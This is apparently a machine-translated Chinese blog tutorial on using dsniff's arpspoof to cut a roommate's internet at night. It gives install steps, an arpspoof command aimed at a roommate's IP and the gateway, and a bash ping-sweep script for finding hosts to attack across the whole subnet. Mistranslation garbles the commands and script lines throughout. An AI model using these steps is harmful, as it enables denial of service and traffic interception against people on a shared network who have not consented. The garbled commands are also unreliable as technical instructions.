不管你是在大学还是在分享,你都会和爱玩游戏、爱上网的朋友发生矛盾。他们想早点睡觉,但是可以玩到半夜,严重影响睡眠质量。今天教你一个小技巧,让爱玩游戏爱上网的室友早点睡觉!
在Linux上安装arp欺骗进行ARP攻击的实验
arp欺骗是dsniff的一个组件,主要用于ARP欺骗。因此,我们需要安装dsniff。虽然很多包看起来很容易,但有些包是百胜无法安装的,所以我们只能找到rpm包在线下载安装。如果童鞋有不错的实力,可以考虑源码安装。。
1.以下是所有必需的依赖包,可从yum来源获得。只有dsniff和libnids需要单独下载,可以由yum直接安装;
yum -y安装LiBice LiBsm LiBxmu LiBpcap LiBnet LiBxext LiBxext-develop LiBxt
2.安装dsniff和libnids RPM包,自己找对应的版本
Libnids RPM包地址:http://www.rpmfind.net/linux/rpm2html/search.php?查询= libnids . so . 1.24% 28% 29% 2864 bit % 29 & submit = Search+...&system=&arch=
dsniff RPM包的地址:https://cbs.centos.org/koji/buildinfo? buildID = 4159
rpm-IVH libnids-1.24-6 . El 7 . x86 _ 64
rpm-IVH ds niff-2.4-0.17 . B1 . El 7 . x86 _ 64
#当您的系统有此命令时,您已经成功安装了它
#欺骗
3.将您自己的网络设置为桥接模式
此时,我们应该注意修改我们虚拟机的IP地址
4.实现arp欺骗
环境:它需要在同一个网段中,并且您的网络处于桥接模式
1.实施单一目标攻击
网关-> 192.168.44.1
自己-> 192.168.44.3
室友-> 192.168.44.52
网卡- >ens33
# ARP欺骗-I ens 33-t 192 . 168 . 44 . 52 192 . 168 . 44 . 1
2.攻击群体目标需要一定的shell脚本基础
第一步是写脚本获取在线ip,并将获取的IP写入文件,注意网段自己写。
1 #!/bin/bash
2 #获取IP,并将在线IP写入PingUP.txt文件。
3 > /root/PingUp.txt
4代表“序列255”中的I
5 do {
6 M_ip=192.168.44。$i
7 ping -c1 -W1 $M_ip &>/dev/null
8 if
那么9
10回显" $M_ip" >> /root/PingUp.txt
11 fi
12 }&
13完成
等待
15回声“完成”
第二步是运行第一个脚本获取IP,然后编写第二个循环脚本,利用linux的多线程特性并发执行
第三步是向脚本添加执行权限并运行它。这个时候,大家都认为没有网络,所以可以安心睡觉